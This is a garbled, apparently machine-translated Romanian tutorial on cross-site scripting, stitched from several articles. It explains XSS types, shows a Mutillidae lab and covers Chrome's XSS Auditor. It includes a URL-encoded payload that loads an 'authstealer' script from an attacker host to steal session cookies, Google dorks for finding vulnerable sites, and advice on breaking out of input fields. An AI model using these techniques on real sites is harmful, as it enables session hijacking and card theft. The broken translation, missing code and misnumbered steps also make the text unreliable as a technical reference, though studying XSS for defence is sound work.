XSS Attack Training. XSS Vulnerabilitate - Ce este? Exemple de vulnerabilități XSS. Datele din forme completate
Intersype Scripting (XSS) este o vulnerabilitate care este de a implementa codul executabil din partea clientului (JavaScript) pe pagina web pe care alți utilizatori sunt aduși.
Vulnerabilitatea apare din cauza filtrării insuficiente a datelor, pe care utilizatorul le trimite la introducerea într-o pagină web. Este mult mai ușor de înțeles exemplu specific. Amintiți-vă oricare cartea de oaspeți - Acestea sunt programe care sunt destinate să accepte date de la utilizator și de afișajul ulterior. Imaginați-vă că cartea de oaspeți nu verifică în niciun fel și nu filtrează datele introduse, ci le afișează pur și simplu.
Puteți să vă examinați propria dvs. script mai simplu (Nu este nimic mai ușor decât scrierea scripturilor rele pe PHP - acest lucru este foarte implicat în acest lucru). Dar există deja o mulțime de opțiuni gata făcute. De exemplu, propun să înceapă o cunoștință cu Dojo și Owasp Mutillidae II. Există un exemplu similar. În mediul Dojo-ul autonom, mergeți la browser prin referință: http: //localhost/mutillidae/index.php? Pagina \u003d add-to-yo-blog.php
Dacă cineva de la utilizatori a intrat:
Această pagină web va afișa:
Hei! Ca si site-ul dvs.
Și dacă utilizatorul intră în acest domeniu:
Hei! Ca si site-ul dvs.
Care vor fi afișate astfel:
Browserele păstrează un set de cookie-uri un numar mare site-uri. Fiecare site poate obține cookie-uri numai salvate pentru ele. De exemplu, site-ul Exemplu.com a păstrat câteva module cookie în browserul dvs. Sunteți prăbușirea pe site-ul unui alt.com, acest site (scripturi client și server) nu poate accesa cookie-urile pe care site-ul Exemplu le-a salvat.
Dacă site-ul example.com este vulnerabil la XSS, atunci acest lucru înseamnă că putem introduce într-un fel sau altul pentru a implementa codul JavaScript în acesta, iar acest cod va fi executat în numele site-ului Exemplu.com! Acestea. Acest cod va primi, de exemplu, accesul la site-ul Cookis Exemplu.com.
Cred că toată lumea își amintește că JavaScript este executat în browserele de utilizatori, adică Cu prezența XSS, încorporată cod rău intenționat Obține acces la datele de utilizator care au deschis pagina site-ului.
Codul încorporat este capabil de tot ce poate JavaScript poate, și anume:
- accesul la cookie-urile site-ului vizualizat
- pot face modificări în aspect Pagini
- accesul la tamponul de schimb
- pot implementa programe pe JavaScript, de exemplu, Ki-Loggeri (interceptoare cheie împinse)
- atingeți carnea de vită.
- si etc.
Cel mai simplu exemplu Cu Cookiz:
De fapt, alerta. Folosit numai pentru a detecta xss. Real Malware-ul plătește acțiuni ascunse. Este ascuns se leagă de un server de intruder la distanță și transmite date furate pe ea.
Tipuri de XSS.
Cel mai important lucru este că trebuie să înțelegeți despre tipurile de XSS Ce se întâmplă:
- Stocat (constant)
- Reflectat (non-permanent)
Exemplu de permanent:
- Un atacator a introdus un mesaj special format la cartea de oaspeți (comentariu, mesaj de forum, profil) care este stocat pe server, încărcat de pe server de fiecare dată când utilizatorii solicită afișarea acestei pagini.
- Atacatorul a primit accesul la datele serverului, de exemplu, prin intermediul injectării SQL și introdus datelor numite utilizator pentru codul JavaScript rău intenționat (cu Ki-Loggeri sau cu carne de vită).
Eșantion de non-permanent:
- Site-ul are o căutare, care, împreună cu rezultatele căutării, arată ceva de genul "căutați: [String de căutare]", în timp ce datele nu sunt filtrate corect. Deoarece o astfel de pagină este afișată numai pentru a avea o legătură cu aceasta, în timp ce atacatorul nu va trimite link-ul către alți utilizatori ai site-ului, atacul nu va funcționa. În loc să trimiteți o referire la victimă, puteți utiliza plasarea unui script rău intenționat pe un loc neutru care vizitează victima.
Încă mai stați (unele ca un fel de vulnerabilități XSS permanente, unii spun că această specie poate fi o varietate de XSS constant):
- Modelul DOM.
Caracteristici XSS bazate pe DOM
Dacă sunteți complet simplu, codul rău intenționat "obișnuit" nepermanent XSS poate fi văzut dacă deschideți codul HTML. De exemplu, legătura este formată în acest fel:
Http://example.com/search.php?q\u003d "/\u003e
Și când deschideți codul HTML original, vedem așa ceva:
Și Dom XSS schimbă structura DOM care se formează în browser în zbor și vedeți codul rău intenționat, numai când vizualizăm structura DOM formată. HTML nu se schimbă. Să luăm acest cod, de exemplu:
Că în browser vom vedea:
Codul sursă de pagină:
Să formăm adresa după cum urmează:
Http: //localhost/tests/xss/dom_xss.html#input\u003dtokenalex.;
Acum, pagina arată astfel:
Dar să ne uităm la sursă HTML:
Nu a fost niciodată schimbată nimic. Despre asta am spus, trebuie să vedem documentul de structură DOM pentru a identifica codul rău intenționat:
Iată un prototip de lucru XSS, pentru un atac real, avem nevoie de o sarcină utilă mai complexă, care este imposibilă datorită faptului că aplicația nu mai citi imediat după un punct cu o virgulă și ceva de genul alertă (1); Alertă (2) Nu mai este posibil. Cu toate acestea, datorită unescape () În datele returnate, putem folosi încărcătura utilă ca aceasta:
Http: //localhost/tests/xss/dom_xss.html#input\u003dtokenalex.;
Unde am înlocuit simbolul ; Pe echivalentul codificat în URI!
Acum putem scrie un program malware de JavaScript și putem face un link pentru a trimite victima, așa cum se face pentru scripting-ul standard nepermanent.
Auditorul XSS.
ÎN Google Chrome. (precum și în Opera, care utilizează acum motorul Google Chrome), așteptam o astfel de surpriză:
dOM_XSS.HTML: 30 Auditorul XSS a refuzat să execute un script în "http: //localhost/tests/xss/dom_xss.html#input\u003dToken \u003cscript\u003e Alertă (1); "Deoarece codul său sursă a fost găsit în cadrul cererii. Auditorul a fost activat, deoarece serverul nu a trimis nici un antet" X-XSS-protecție ", nici" Politică de securitate-securitate ".
Acestea. Acum, în browser există un auditor XSS care va încerca să împiedice XSS. Nu există o astfel de funcționalitate în Firefox, dar cred că este o chestiune de timp. Dacă implementarea în browsere va avea succes, atunci putem vorbi despre o dificultate semnificativă de utilizare a XSS.
Este util să ne amintim că browsere moderne Luați măsuri pentru a limita nivelul de funcționare a problemelor, cum ar fi XSS-ul permanent și bazat pe Dom XSS. Includerea este necesară amintiți-vă la testarea site-urilor web utilizând un browser - este posibil să fie că aplicația web este vulnerabilă, dar nu vedeți o confirmare pop-up din motivul pentru care browserul îl blochează.
Exemple de exploatare XSS.
Malefacatori, care intenționează să utilizeze vulnerabilități de scripting intersiteite, ar trebui să abordeze fiecare clasă de vulnerabilități în moduri diferite. Aici sunt descrise vectorii de atacuri pentru fiecare clasă.
Cu vulnerabilități XSS, carnea de vită poate fi utilizată în atacuri, care extinde atacul de pe site-ul web la mediul local al utilizatorilor.
Exemplu de atac cu xss non-permanent
1. Alice vizitează adesea un site specific care găzduiește Bob. Site-ul Bob permite lui Alice să se conecteze cu numele utilizatorului / parolei și să salveze date sensibile, cum ar fi informațiile de plată. Când utilizatorul exercită introducerea, browserul păstrează cookie-urile de autorizare care arată ca caractere fără sens, adică. Ambele computere (client și server) amintesc că a intrat.
2. Maloarele notează că site-ul Bob conține vulnerabilitate non-permanentă XSS:
2.1 Când vizitați pagina de căutare, introduceți o linie pentru a căuta și faceți clic pe butonul Trimitere Dacă rezultatele nu sunt găsite, pagina afișează șirul de căutare introdus, urmat de cuvintele "nu găsite" și adresa URL http://bobssite.org?q\u003dyu. search Query.
2.2 Cu o interogare de căutare normală ca cuvântul " căţeluş»Pagina pur și simplu afișează" căţeluş Nu a fost găsit "și url http://bobssite.org?q\u003d căţeluşCeea ce este un comportament destul de normal.
2.3 Cu toate acestea, atunci când o interogare de căutare anormală este trimisă la căutare :
2.3.1 Apare un mesaj de avertizare (care spune "XSS").
2.3.2 Afișează pagina nu a fost gasit Împreună cu un mesaj de eroare cu textul "XSS".
2.3.3 URL Potrivit pentru funcționare http://bobssite.org?q\u003d.
3. Maloare desenează adresa URL pentru a opera vulnerabilitatea:
3.1 Ea face adresa URL http://bobssite.org?q\u003dpuppies. . Poate alege să convertească caracterele ASCII într-un format hexazecimal, cum ar fi http://bobssite.org?q\u003dpuppies%3CScript%2520SRC%3D%22HTTP%3A%2F%2FmallorysevilSite.com%2FAUTHSTEALER.JS%22%3e. Pentru ca oamenii să poată descifra imediat o adresă URL rău intenționată.
3.2 Ea trimite un e-mail unui membru nesuspect al site-ului Bob, spunând: "Verificați câinii răciți".
4. Alice primește o scrisoare. Ea iubește câinii și faceți clic pe link. Ea merge la site-ul Bob în căutare, ea nu găsește nimic, acolo afișează "câinii care nu au fost găsiți", iar în mijlocul etichetei, eticheta este pornită cu un script (este invizibil pe ecran), Încărcături și execută programul Malory Authstealer.js (XSS Attack). Alice uită despre asta.
5. Programul AuthTTEALER.JS începe în browserul Alice ca și cum sursa sa este site-ul Bob. Ea captează o copie a cookie-urilor de autorizare Alice și trimite la serverul malory, unde maloarele le elimină.
7. Acum, că maloarele din interior, se duce la site-ul web al site-ului, arată și fura o copie a numărului cardului de credit Alice. Apoi merge și schimbă parola, adică Acum, Alice nu poate merge nici măcar.
8. Ea decide să ia următorul pas și să trimită o referire la Bob însuși în mod similar, și astfel primește privilegii administrative ale site-ului Bob.
Atac cu XSS constant
- Malorii au un cont pe site-ul Bob.
- Malory observă că site-ul Bob conține o vulnerabilitate constantă XSS. Dacă te duci noua secțiune, Plasați un comentariu, apoi afișează că nu va fi tipărită. Dar dacă textul de comentariu conține etichete HTML, aceste etichete vor fi afișate așa cum este, iar orice etichete de scripting sunt lansate.
- Malory citește un articol în secțiunea de știri și scrie un comentariu în secțiunea de comentarii. În comentariu, introduce textul:
- În această poveste mi-a plăcut atât de mult câinii. Sunt atât de drăguți!
- Când Alice (sau oricine altcineva) Descărcați pagina cu acest comentariu, eticheta de script malory este lansată și furați bucătarii de autorizație din Alice, trimite Malory la serverul secret pentru a colecta.
- Malorii pot intercepta acum sesiunea Alice si pot da pentru Alice.
Căutați site-uri vulnerabile la XSS
Dorki pentru XSS.
Primul pas este alegerea site-urilor pe care vom efectua atacuri XSS. Site-urile pot fi semnate folosind Google Dorkov. Iată câteva dintre aceste distanțe care copiază și lipiți în căutarea Google:
- inurl: căutare.php? q \u003d
- inurl: .php? Q \u003d
- inurl: Search.php.
- inurl: .php? Căutare \u003d
Înainte de a deschide o listă de site-uri. Trebuie să deschideți site-ul și să găsiți câmpuri de introducere pe acesta, cum ar fi formularul de feedback, formularul de intrare, căutarea site-ului etc.
Am observat imediat că este aproape inutil să căutăm vulnerabilități în aplicații web actualizate automat actualizate. Exemplul clasic al unei astfel de aplicații este WordPress. De fapt, vulnerabilitățile din WordPress și mai ales în pluginurile sale, există. În plus, există multe site-uri care nu sunt actualizate wordPress motor. (Datorită faptului că un webmaster a făcut unele modificări ale codului sursă), nici pluginurile și subiectele (de regulă, acestea sunt pluginuri și subiecte piratate). Dar dacă citiți această secțiune și recunoașteți ceva nou de la el, atunci WordPress nu este încă pentru dvs. ... Voi reveni cu siguranță la el mai târziu.
Cele mai bune obiective sunt o varietate de motoare și scripturi auto-scrise.
Puteți alege ca o sarcină utilă pentru inserare
Fiți atenți la care codurile codului HTML Falls codul dvs. încorporat. Iată un exemplu de câmp tipic de introducere a câmpului ( intrare):
Încărsta noastră utilă va merge acolo unde este cuvântul "pernă" este acum. Acestea. Întoarceți-vă la etichetă intrare. Putem evita acest lucru - închideți un citat dublu și apoi eticheta însăși "/>
"/>
Să încercăm-o pentru câteva site-uri:
Vulnerabilitate excelentă
Programe pentru căutare și scanare XSS Vulnerabilitate
Probabil că toate scanerele de aplicații web au un scanner de vulnerabilitate XSS încorporat. Acest subiect este awkhanging, este mai bine să vă familiarizați cu fiecare astfel de scaner separat.
Scrierea transfrontalieră (abreviată XSS) este o vulnerabilitate pe scară largă care afectează multe aplicații web. Acesta permite unui atacator să implementeze un cod rău intenționat într-un site web în așa fel încât browserul utilizatorului care a intrat pe site va executa acest cod.
De obicei, o anumită interacțiune cu utilizatorul este necesară pentru a opera această vulnerabilitate: fie este atrasă pe un loc infectat cu inginerie socială, fie doar așteaptă până când el însuși vizitează acest site. Prin urmare, dezvoltatorii nu sunt adesea percepuți în mod serios XSS-vulnerabilitate.
Dar dacă nu sunt eliminate, ar putea fi o amenințare serioasă de securitate.
Imaginați-vă că suntem în panoul de administrare WordPress, adăugați conținut nou. Dacă folosim un plugin vulnerabil la XSS, acesta poate determina browserul să creeze un nou administrator, să modifice conținutul și să efectueze alte acțiuni rău intenționate. Scriptingul transfrontalier oferă un atacator cu un control aproape complet asupra celor mai importante software. NOIDAYS - Browser.
XSS: Vulnerabilitate prin injecție
Orice site web sau aplicație are mai multe site-uri de introducere a datelor - formează adresa URL în sine. Cel mai simplu exemplu al datelor de intrare este atunci când introducem numele de utilizator și formularul de parolă:
Numele nostru va fi stocat în baza de date a site-ului pentru interacțiunea ulterioară cu noi. Cu siguranță, când ați trecut autorizația pe orice site, ați văzut un salut personal în stilul "Bine ați venit, Ilya".
Este pentru astfel de scopuri că numele de utilizator sunt stocate în baza de date.
Injectarea se numește o procedură când, în loc de un nume sau o parolă, o secvență specială de simboluri care face ca serverul sau un browser să răspundă la anumite, atacatorul dorit este introdus.
Un script interserat se numește injecție care implementează codul care va efectua acțiuni în browser în numele site-ului web. Poate apărea atât cu notificarea utilizatorului, cât și cu modul de fundal., fără cunoștințele sale.
Atacurile tradiționale XSS:
Reflectată (non-permanentă).
Atacul XSS reflectat este declanșat atunci când utilizatorul trece la o legătură special pregătită.
Aceste vulnerabilități apar atunci când datele furnizate de clientul web sunt cel mai adesea în parametrii interogării HTTP sau în formă de HTML sunt executate direct de către scripturile serverului la analiza sintactică și afișează pagina de rezultate pentru acest client, fără procesare adecvată.
Stocate (constante).
XSS stocate sunt posibile atunci când un atacator reușește să implementeze un cod rău intenționat pe server, care rulează în browser de fiecare dată când accesează pagina originală. Exemplul clasic al acestei vulnerabilități sunt forumuri pe care i se permite să lase comentarii în format HTML.
Vulnerabilități cauzate de codul de pe partea clientului (JavaScript, Visual Basic, Flash, etc.):
De asemenea, cunoscut sub numele de modele DOM:
Reflectată (non-permanentă).
La fel ca în cazul serverului, numai în acest caz, atacul este posibil datorită faptului că codul este procesat de browser.
Stocate (constante).
Similar la stocarea XSS pe partea serverului, numai în acest caz, componenta rău intenționată este salvată pe partea clientului utilizând spațiul de stocare a browserului.
Exemple de vulnerabilități XSS.
Interesant, în majoritatea cazurilor, această vulnerabilitate este descrisă, suntem înspăimântați de următorul cod:
Http://www.site.com/page.php?var\u003d.
Există două tipuri de vulnerabilități XSS - pasive și active.
Vulnerabilitate activă Mai periculos, ca atacator nu are nevoie să atragă sacrificiul pe o legătură specială, este suficient pentru el să pună în aplicare codul în bază sau în unele fișiere de pe server. Astfel, toți vizitatorii site-ului devin automat victime. Acesta poate fi integrat, de exemplu, prin încorporarea codului SQL (injecție SQL). Prin urmare, nu trebuie să aveți încredere în datele stocate în baza de date, chiar dacă în inserție au fost procesate.
Exemplu vulnerabilitate pasivă Puteți vedea la începutul articolului. Există deja inginerie socială, de exemplu, o scrisoare importantă din partea administrației site-ului care vă cere să verificați setările contului dvs., după recuperarea de la backup. În consecință, trebuie să cunoașteți adresa victimei sau pur și simplu să organizați un buletin informativ spam sau să plasați un post pe un forum și nu încă faptul că victimele vor fi naive și vor merge la link-ul dvs.
În plus, vulnerabilitățile pasive pot fi supuse atât după postare, cât și primite parametrii. Cu post-parametri, va fi înțeleasă, va trebui să mergeți pe trucuri. De exemplu, redirecționarea de pe site-ul de intrus.